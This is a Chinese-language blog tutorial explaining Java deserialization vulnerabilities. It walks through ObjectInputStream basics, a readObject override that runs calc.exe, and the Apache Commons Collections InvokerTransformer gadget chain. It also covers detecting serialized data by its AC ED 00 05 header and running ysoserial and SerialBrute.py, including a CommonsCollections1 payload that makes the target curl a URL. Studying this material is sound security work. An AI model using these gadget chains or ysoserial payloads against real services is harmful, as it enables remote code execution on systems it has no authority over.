JAVA反序列化漏洞简单理解
反序列化原理?
關于反序列化的原理不在多說，和php類似，序列化的數據是方便存儲的，而存儲的狀態信息想要再次調用就需要反序列化?
Java反序列化的API實現
實現方法?
- Java.io.ObjectOutputStream
- java.io.ObjectInputStream
序列化：? ObjectOutputStream類 -->?writeObject()
注：該方法對參數指定的obj對象進行序列化，把字節序列寫到一個目標輸出流中，輸出的文件為二進制
反序列化: ObjectInputStream類 -->?readObject()
注：該方法從一個源輸入流中讀取字節序列，再把它們反序列化為一個對象，并將其返回
對象可序列化的要求
實現Serializable和Externalizable接口的類的對象才能被序列化
Externalizable接口繼承自 Serializable接口，實現Externalizable接口的類完全由自身來控制序列化的行為，而僅實現Serializable接口的類可以采用默認的序列化方式
序列化實例
下面給出一個序列化的實例，首先是實現Serializable接口待序列化對象
public class Employee implements java.io.Serializable{//定義實現了Serializable接口的Employee類public String name; //定義name變量public String identify; //定義身份變量public void mailCheck(){System.out.println("This is the "+this.identify+" of our company");} //輸出函數 }序列化類代碼如下
import java.io.*;public class sdemo { //序列化類public static void main(String [] args) //主函數{Employee e = new Employee(); //實例化Employee類e.name = "admin"; e.identify = "admin"; //實例化類的屬性try //抓取異常{FileOutputStream fileOut = new FileOutputStream("E:\\test\\test.db"); // 打開一個文件輸入流ObjectOutputStream out = new ObjectOutputStream(fileOut);// 建立對象輸入流out.writeObject(e);//輸出反序列化對象out.close();//關閉對象流fileOut.close();//關閉文件流System.out.printf("數據保存在 E:\\test\\test.db文件中");}catch(IOException i){i.printStackTrace();}} }執行函數，如下
文件內容如下，也不是很好看懂，畢竟是二進制文件，直接打開會亂碼
而文件的二進制形態是什么樣呢？
java序列化的數據庫一般都是aced0005開頭，當然嚴格來說應該是aced開頭，0005有時候會不太一樣，我昨天的序列化數據就是2005，查詢某些資料說是跟什么版本有關
下面我們對 test.db 文件進行反序列化，代碼如下
import java.io.*;public class UnSDemo {public static void main(String [] args){Employee e = null;//和php類似，我們需要有個對象來接受反序列化的數據try{FileInputStream fileIn = new FileInputStream("E:\\test\\test.db");// 打開一個文件輸入流ObjectInputStream in = new ObjectInputStream(fileIn);// 建立對象輸入流e = (Employee) in.readObject();// 通過readobject方法讀取對象in.close();//關閉對象流fileIn.close();//關閉文件流}catch(IOException i) {i.printStackTrace();return;}catch(ClassNotFoundException c) {System.out.println("未發現test.db文件");c.printStackTrace();return;}System.out.println("反序列化成功...");System.out.println("Name: " + e.name);System.out.println("identify： "+e.identify);} }執行結果如下
反序列化漏洞
與php飯學列化漏洞類似，要想產生漏洞，必要的條件就是參數可控啊
而我們在利用反序列化漏洞的時候肯定是想getshell或者命令執行啊，但是默認的readobject方法是無法幫我們實現這些要求的，下面說一下漏洞的兩大成因
開發失誤
開發人員對反序列化完全沒有進行安全審查，在被序列化的對象類中重寫了readobject方法，那么在反序列的過程中，會使用被反序列化類的readObejct方法
如下代碼會成功彈出計算器
package com.test; import java.io.*;public class test {public static void main(String args[]) throws Exception{UnsafeClass Unsafe = new UnsafeClass();Unsafe.name = "彈出計算器";FileOutputStream fos = new FileOutputStream("object");ObjectOutputStream os = new ObjectOutputStream(fos);//writeObject()方法將Unsafe對象寫入object文件os.writeObject(Unsafe);os.close();//從文件中反序列化obj對象FileInputStream fis = new FileInputStream("object");ObjectInputStream ois = new ObjectInputStream(fis);//恢復對象UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();System.out.println(objectFromDisk.name);ois.close();} } class UnsafeClass implements Serializable{public String name;//重寫readObject()方法private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{//執行默認的readObject()方法in.defaultReadObject();//執行命令Runtime.getRuntime().exec("calc.exe");} }如上圖我們在UnsafeClass類中定義了name屬性，并且重寫了readobject方法，在原有的基礎上添加了執行命令的代碼，最中彈出計算器
而在實際環境中，有些常識的開發者都不會直接將命令寫在readObject中，因此此處就需要通過反射鏈來進行任意代碼執行了
基礎庫中的反序列化漏洞
2015年由黑客Gabriel Lawrence和Chris Frohoff發現的‘Apache Commons Collections’類庫直接影響了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等大型框架。直到今天該漏洞的影響仍未消散。
存在危險的基礎庫
- commons-fileupload 1.3.1
- commons-io 2.4
- commons-collections 3.1
- commons-logging 1.2
- commons-beanutils 1.9.2
- org.slf4j:slf4j-api 1.7.21
- com.mchange:mchange-commons-java 0.2.11
- org.apache.commons:commons-collections 4.0
- com.mchange:c3p0 0.9.5.2
- org.beanshell:bsh 2.0b5
- org.codehaus.groovy:groovy 2.3.9
- org.springframework:spring-aop 4.1.4.RELEASE
基礎庫中的調用流程一般都比較復雜，比如org.apache.commons.collections.functors.InvokerTransformer的POP鏈就涉及反射、泛型等
源碼分析
在這里針對Apache Commons Collections庫進行分析，此漏洞版本是3.2.2以下，在4.4版本中甚至直接刪除了相關類
官網下載：http://commons.apache.org/proper/commons-collections/download_collections.cgi
其他追蹤分析類文章
- Java反序列化漏洞-玄鐵重劍之CommonsCollection(上)
- Java反序列化漏洞-玄鐵重劍之CommonsCollection(下)
概念引入
java中的反射機制
反射機制是java的一個非常重要的機制，一些著名的應用框架都使用了此機制，如struts、spring、hibernate、android app界面等
java.lang.Class它是java語法的一個基礎類，用于描述一個class對象。在文件系統中，class以文件的形式存在。在運行的JVM中，*.class文件被加載到內存中成為一個對象，該對象的類型就是java.lang.Class
什么是反射？
在運行狀態中
- 對于任意一個類，都能夠獲取到這個類的所有屬性和方法
- 對于任意一個對象，都能夠調用它的任意一個方法和屬性(包括私有的方法和屬性)
這種動態獲取信息以及動態調用對象的方法的功能就稱為java語言的反射機制
也就是說，雖然我們獲取不到該類的源代碼，但是通過該類的.class文件能反射(Reflect)出這些信息
簡單來說
反射機制指的是程序在運行時能夠獲取自身的信息。在java中，只要給定類的名字，那么就可以通過反射機制來獲得類的所有信息
獲取.class字節碼文件對象
獲取字節碼文件對象的三種方式，有了字節碼文件對象才能獲得類中所有的信息，我們在使用反射獲取信息時，也要考慮使用下面哪種方式獲取字節碼對象合理，視不同情況而定
//方法一 Class clazz1 = Class.forName("my.Student");//通過Class類中的靜態方法forName，直接獲取到一個類的字節碼文件對象，此時該類還是源文件階段，并沒有變為字節碼文件。包名為 my，類名為 Student //方法二 Class clazz2?= Student.class; ?//當類被加載成.class文件時，此時Student.java類變成了Student.class，該類處于字節碼階段 //方法三 Student s=new Student(); ? ?//實例化Student對象 Class clazz3 = s.getClass(); //通過該類的實例獲取該類的字節碼文件對象，該類處于創建對象階段通過反射機制執行函數
下面的代碼中我們利用JAVA?的反射機制來調用計算器。我們利用了Java的反射機制把我們的代碼意圖都利用字符串的形式進行體現，使得原本應該是字符串的屬性，變成了代碼執行的邏輯
package com.test; import java.lang.reflect.InvocationTargetException;public class FansheTest {public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException {Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null); //得到Runtime.getRuntime()函數Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,"calc.exe"); //執行函數} }什么是反射鏈？
沒有找到具體概念，大概理解一下就是，既然是鏈，類似于php中的pop鏈應該也是牽扯到了多種類或者對象，相互間的調用來達成目標，這可能就是個反射鏈吧
代碼跟蹤
看了網上許多的文章都是先分析TransformedMap類以及transform()方法的，當然這種分析是從發現漏洞的角度。而我，作為一個剛學習的菜雞，我表示看了十幾篇文章越看越懵逼，畢竟對java代碼不熟悉，改天還是得找個同學給講講
而接下來，我們已知漏洞存在，我們去跟蹤漏洞的代碼，首先此漏洞是存在于Apache Commons Collections第三方基礎庫中的，而前面我們已經提及要想產生漏洞我們需要對readobject方法進行重寫，我們發現了這么一個類，但這個類應該是不在Apache Commons Collections庫中的，這個類是AnnotationInvocationHandler類
下面是新版本的代碼，可以說程序員太叼了。。全給換成了var1-12.。看的是一臉懵逼，而且新版本添加了UnsafeAccessor類做安全檢測，代碼如下
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {GetField var2 = var1.readFields();Class var3 = (Class)var2.get("type", (Object)null);Map var4 = (Map)var2.get("memberValues", (Object)null);AnnotationType var5 = null;try {var5 = AnnotationType.getInstance(var3);} catch (IllegalArgumentException var13) {throw new InvalidObjectException("Non-annotation type in annotation serial stream");}Map var6 = var5.memberTypes();LinkedHashMap var7 = new LinkedHashMap();String var10;Object var11;for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {Entry var9 = (Entry)var8.next();var10 = (String)var9.getKey();var11 = null;Class var12 = (Class)var6.get(var10);if (var12 != null) {var11 = var9.getValue();if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));}}}AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);}感覺還是老版本的更加人性一點啊，所以還是找一下老版本代碼，最后能不能復現成功就看緣分了，反正我也不敢亂刪
class AnnotationInvocationHandler implements InvocationHandler, Serializable {private final Class<? extends Annotation> type;private final Map<String, Object> memberValues;AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {this.type = type;this.memberValues = memberValues;}.. //AnnotationInvocationHandler的readObject()函數中對memberValues的每一項調用了setValue()函數private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; all bets are offreturn;}Map<String, Class<?>> memberTypes = annotationType.memberTypes();for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) { // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {memberValue.setValue( new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));}}}} }上面的代碼我們可以知道，這個類有一個成員變量memberValues，是Map.Entry<String, Object>類型，并且在重寫的 readObject() 方法中有 memberValue.setValue()?修改Value的操作
接下來就該跟蹤Map是個什么鬼，setValue又是操作，會有什么用呢？
Map類 -->?TransformedMap
Map類是存儲鍵值對的數據結構。 Apache Commons Collections中實現了TransformedMap ，該類可以在一個元素被添加/刪除/或是被修改時(即key或value：集合中的數據存儲形式即是一個索引對應一個值，就像身份證與人的關系那樣)
該庫定義了TransformedMap結構，其定義了一個靜態方法decorate()，可以完成Map結構的轉換
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer); }用此靜態方法實現Map類的轉換
Map oldMap = new HashMap(); Map newMap = TransformedMap.decorate(oldMap,keyTransformer,valueTransformer);當TransformedMap的setValue()方法被調用時，會調用抽閑父類AbstractInputCheckedMapDecorator的setValue()方法
public Object setValue(Object value) {value = this.parent.checkSetValue(value);return this.entry.setValue(value); }接著我們又回到TransformedMap的checkSetValue方法，從而調用了transform()方法，并且，transform()方法的參數就是setValue()方法的參數
protected Object checkSetValue(Object value) {return this.valueTransformer.transform(value);}接下來跟進代碼，我們需要知道那里定義了transform()方法，發現定義了一個Transformer接口，其代碼如下
其中定義的transform()方法用來將一個對象轉換成另一個對象
public interface Transformer {public Object transform(Object input); }注意在Apache的commons-collections.jar中，默認實現了ConstantTransformer，InvokerTransformer，ChainedTransformer幾個實現，但我們僅需重點關注InvokerTransformer類，查看其transform()方法，下面是類的代碼
public class InvokerTransformer implements Transformer, Serializable {/*Input參數為要進行反射的對象，iMethodName,iParamTypes為調用的方法名稱以及該方法的參數類型iArgs為對應方法的參數在invokeTransformer這個類的構造函數中我們可以發現，這三個參數均為可控參數 */private static final long serialVersionUID = -8653385846894047688L;private final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;public static Transformer getInstance(String methodName) {if (methodName == null) {throw new IllegalArgumentException("The method to invoke must not be null");}return new InvokerTransformer(methodName);}public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {if (methodName == null) {throw new IllegalArgumentException("The method to invoke must not be null");}if (((paramTypes == null) && (args != null))|| ((paramTypes != null) && (args == null))|| ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {throw new IllegalArgumentException("The parameter types must match the arguments");}if (paramTypes == null || paramTypes.length == 0) {return new InvokerTransformer(methodName);} else {paramTypes = (Class[]) paramTypes.clone();args = (Object[]) args.clone();return new InvokerTransformer(methodName, paramTypes, args);}}private InvokerTransformer(String methodName) {super();iMethodName = methodName;iParamTypes = null;iArgs = null;}public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}private void writeObject(ObjectOutputStream os) throws IOException {FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);os.defaultWriteObject();}private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);is.defaultReadObject();} }可以看到，上面的transform()，通過java 反射調用了input的iMethodName方法
并且 iMethodName 是通過InvokerTransformer函數的傳參值得到的，就是說iMethodName方法可控
這樣的結果就是，只要transform()方法被調用（已再Map類中調用，用來checkSetValue），我們的惡意代碼就能被執行
下面再介紹兩個類
- ChainedTransformer為鏈式的Transformer，會挨個執行我們定義的?Transformer
- ConstantTransformer類通過transform轉換得到內部類的對象類型，如參數是Runtime.class時，經ConstantTransformer類執行后返回java.lang.Runtime
理一下思路
- 首先構造一個Map和一個能夠執行代碼的ChainedTransformer，
- 生成一個TransformedMap實例
- 實例化AnnotationInvocationHandler，其成員變量memberValues就是TransformedMap實例，并對其進行序列化，
- 當觸發readObject()反序列化的時候，就能實現命令執行
如何發現Java反序列化漏洞
白盒檢測
當持有程序源碼時，可以采用這種方法，逆向尋找漏洞。
反序列化操作一般應用在導入模板文件、網絡通信、數據傳輸、日志格式化存儲、對象數據落磁盤、或DB存儲等業務場景。因此審計過程中重點關注這些功能板塊。
流程如下：
① 通過檢索源碼中對反序列化函數的調用來靜態尋找反序列化的輸入點
可以搜索以下函數：
小數點前面是類名，后面是方法名
② 確定了反序列化輸入點后，再考察應用的Class Path中是否包含Apache Commons Collections等危險庫（ysoserial所支持的其他庫亦可）。
③ 若不包含危險庫，則查看一些涉及命令、代碼執行的代碼區域，防止程序員代碼不嚴謹，導致bug。
④ 若包含危險庫，則使用ysoserial進行攻擊復現。
黑盒檢測
在黑盒測試中并不清楚對方的代碼架構，但仍然可以通過分析十六進制數據塊，鎖定某些存在漏洞的通用基礎庫（比如Apache Commons Collection）的調用地點，并進行數據替換，從而實現利用。
在實戰過程中，我們可以通過抓包來檢測請求中可能存在的序列化數據。
序列化數據通常以AC ED開始，之后的兩個字節是版本號，版本號一般是00 05但在某些情況下可能是更高的數字。
為了理解反序列化數據樣式，我們使用以下代碼舉例：
在本地環境下運行一下，即可看到生成的employee1.db文件。
生成的employee1.db反序列化數據為（可用Winhex、Sublime等工具打開）：
需要注意的是，AC ED 00 05是常見的序列化數據開始，但有些應用程序在整個運行周期中保持與服務器的網絡連接，如果攻擊載荷是在延遲中發送的，那檢測這四個字節就是無效的。所以有些防火墻工具在檢測反序列化數據時僅僅檢測這幾個字節是不安全的設置。
所以我們也要對序列化轉儲過程中出現的Java類名稱進行檢測，Java類名稱可能會以“L”開頭的替代格式出現 ，以';'結尾 ，并使用正斜杠來分隔命名空間和類名（例如 “Ljava / rmi / dgc / VMID;”）。除了Java類名，由于序列化格式規范的約定，還有一些其他常見的字符串，例如 ：表示對象（TC_OBJECT），后跟其類描述（TC_CLASSDESC）的'sr'或 可能表示沒有超類（TC_NULL）的類的類注釋（TC_ENDBLOCKDATA）的'xp'。
識別出序列化數據后，就要定位插入點，不同的數據類型有以下的十六進制對照表：
0x70 - TC_NULL 0x71 - TC_REFERENCE 0x72 - TC_CLASSDESC 0x73 - TC_OBJECT 0x74 - TC_STRING 0x75 - TC_ARRAY 0x76 - TC_CLASS 0x7B - TC_EXCEPTION 0x7C - TC_LONGSTRING 0x7D - TC_PROXYCLASSDESC 0x7E - TC_ENUMAC ED 00 05之后可能跟上述的數據類型說明符，也可能跟77(TC_BLOCKDATA元素)或7A(TC_BLOCKDATALONG元素)其后跟的是塊數據。
序列化數據信息是將對象信息按照一定規則組成的，那我們根據這個規則也可以逆向推測出數據信息中的數據類型等信息。并且有大牛寫好了現成的工具-SerializationDumper
用法：
java -jar SerializationDumper-v1.0.jar aced000573720008456d706c6f796565eae11e5afcd287c50200024c00086964656e746966797400124c6a6176612f6c616e672f537472696e673b4c00046e616d6571007e0001787074000d47656e6572616c207374616666740009e59198e5b7a5e794b2
后面跟的十六進制字符串即為序列化后的數據
工具自動解析出包含的數據類型之后，就可以替換掉TC_BLOCKDATE進行替換了。AC ED 00 05經過Base64編碼之后為rO0AB
在實戰過程中，我們可以通過tcpdump抓取TCP/HTTP請求，通過SerialBrute.py去自動化檢測，并插入ysoserial生成的exp
SerialBrute.py -r <file> -c <command> [opts]
SerialBrute.py -p <file> -t <host:port> -c <command> [opts]
使用ysoserial.jar訪問請求記錄判斷反序列化漏洞是否利用成功：
java -jar ysoserial.jar CommonsCollections1 'curl " + URL + " '
當懷疑某個web應用存在Java反序列化漏洞，可以通過以上方法掃描并爆破攻擊其RMI或JMX端口（默認1099）。
參考文章
https://www.cnblogs.com/KevinGeorge/p/8448967.html
https://xz.aliyun.com/t/2041
https://www.freebuf.com/articles/web/149931.html
https://www.jianshu.com/p/4060bb2e24cb
https://www.freebuf.com/column/155381.html
https://blog.csdn.net/u010651541/article/details/78369181
總結
以上是生活随笔為你收集整理的JAVA反序列化漏洞简单理解的全部內容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： 个人微信号API接口,微信机器人
- 下一篇： 精益思想与敏捷思想